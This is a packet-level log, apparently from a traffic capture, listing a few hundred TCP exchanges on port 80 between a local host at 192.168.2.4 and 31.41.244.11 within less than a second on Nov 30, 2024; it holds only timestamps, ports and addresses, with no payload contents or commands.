Nov 30, 2024 09:45:10.209958076 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.211689949 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.211741924 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.211952925 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.212006092 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.213733912 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.213782072 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.213972092 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.214019060 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.215764046 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.215806961 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.216006041 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.216052055 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.217834949 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.217889071 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.218079090 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.218130112 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.219851017 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.219903946 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.220117092 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.220169067 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.221956015 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.222006083 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.222196102 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.222248077 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.223905087 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.223958969 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.224148035 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.224196911 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.225948095 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.226000071 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.226226091 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.226278067 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.227988005 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.228039026 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.228238106 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.228286982 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.230000019 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.230058908 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.230257988 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.230304956 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.232048988 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.232103109 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.232270956 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.232319117 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.234102964 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.234167099 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.234347105 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.234391928 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.236159086 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.236216068 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.236421108 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.236465931 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.238147974 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.238188982 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.238370895 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.238420963 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.240158081 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.240206003 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.240564108 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.240605116 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.242198944 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.242250919 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.242450953 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.242491961 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.340039015 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.340096951 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.340327024 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.340379000 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.341666937 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.341712952 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.342617989 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.342663050 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.342720985 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.342766047 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.343153000 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.343199015 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.344305038 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.344367981 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.344573021 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.344618082 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.346030951 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.346143007 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.346265078 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.346318007 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.347781897 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.347843885 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.348012924 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.348057985 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.349399090 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.349442959 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.349939108 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.349982977 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.351002932 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.351047039 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.351264000 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.351309061 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.352663994 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.352710009 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.352880955 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.352921963 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.354245901 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.354290009 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.354484081 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.354526043 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.355829000 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.355874062 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.356112003 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.356172085 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.357736111 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.357779980 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.358227968 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.358268976 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.358982086 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.359049082 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.359213114 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.359257936 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.360562086 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.360606909 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.360999107 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.361046076 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.362061024 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.362109900 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.362346888 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.362390041 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.363579035 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.363625050 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.363827944 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.363871098 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.365158081 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.365200996 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.365452051 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.365494013 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.366766930 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.366827965 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.367197990 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.367239952 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.368093967 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.368134975 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.368364096 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.368405104 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.369565010 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.369610071 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.369782925 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.369823933 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.371185064 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.371228933 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.371309042 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.371354103 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.372644901 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.372694016 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.372838020 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.372879982 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.374537945 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.374547958 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.374576092 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.374588013 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.375582933 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.375631094 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.375866890 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.375910997 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.377057076 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.377115965 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.377296925 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.377346039 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.378563881 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.378609896 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.378770113 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.378825903 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.380120039 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.380167007 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.380374908 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.380418062 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.381520033 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.381561041 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.381762981 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.381807089 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.383318901 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.383367062 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.383721113 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.383764029 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.384577990 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.384622097 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.384936094 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.384979010 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.385977030 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.386019945 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.386220932 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.386265039 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.387574911 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.387622118 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.387748003 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.387793064 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.389002085 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.389045000 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.389231920 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.389277935 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.391232014 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.391299009 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.391710997 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.391767025 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.393317938 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.393328905 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.393366098 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.393376112 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.394228935 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.394273043 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.394722939 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.394768953 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.395164967 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.395211935 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.395623922 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.395669937 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.396421909 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.396466970 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.396641970 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.396688938 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.397928953 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.397969961 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.398266077 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.398308992 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.399702072 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.399750948 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.400168896 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.400213003 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.400918007 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.400965929 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.401141882 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.401190996 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.402421951 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.402472973 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.402662992 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.402708054 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.403908014 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.403959990 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.404128075 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.404174089 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.405448914 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.405508041 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.405673981 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.405719995 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.406903982 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.406955957 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.407144070 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.407191992 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.408616066 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.408659935 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.409044981 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.409092903 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.410145998 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.410185099 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.410202026 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.410229921 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.411381960 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.411429882 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.411621094 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.411674976 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.412888050 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.412944078 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.413134098 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.413182974 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.414396048 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.414442062 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.414654970 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.414699078 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.416136980 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.416191101 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.416996002 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.417045116 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.417427063 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.417473078 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.417913914 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.417964935 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.418848991 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.418896914 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.419152975 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.419199944 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.420281887 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.420334101 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.541214943 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.541340113 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.541419983 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.541474104 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.541510105 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.541562080 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.542064905 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.542110920 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.543381929 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.543437004 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.543900013 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.543952942 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.544316053 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.544351101 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.544372082 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.544393063 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.545205116 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.545258045 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.545650005 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.545712948 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.546171904 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.546232939 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.546623945 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.546680927 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.548104048 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.548137903 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.548192024 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.548192024 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.548896074 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.548960924 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.549366951 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.549422026 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.549820900 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.549875975 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.550290108 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.550349951 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.550844908 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.550901890 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.551211119 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.551270962 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.552274942 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.552335024 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.554250002 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.554265022 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.554275990 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.554316044 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.554353952 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.554497004 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.554543018 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.554946899 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.554990053 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.555512905 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.555557966 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.555982113 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.556026936 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.557028055 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.557080984 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.557857037 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.557909012 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:10.558315039 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:10.558331013 CET	80	49790	31.41.244.11	192.168.2.4
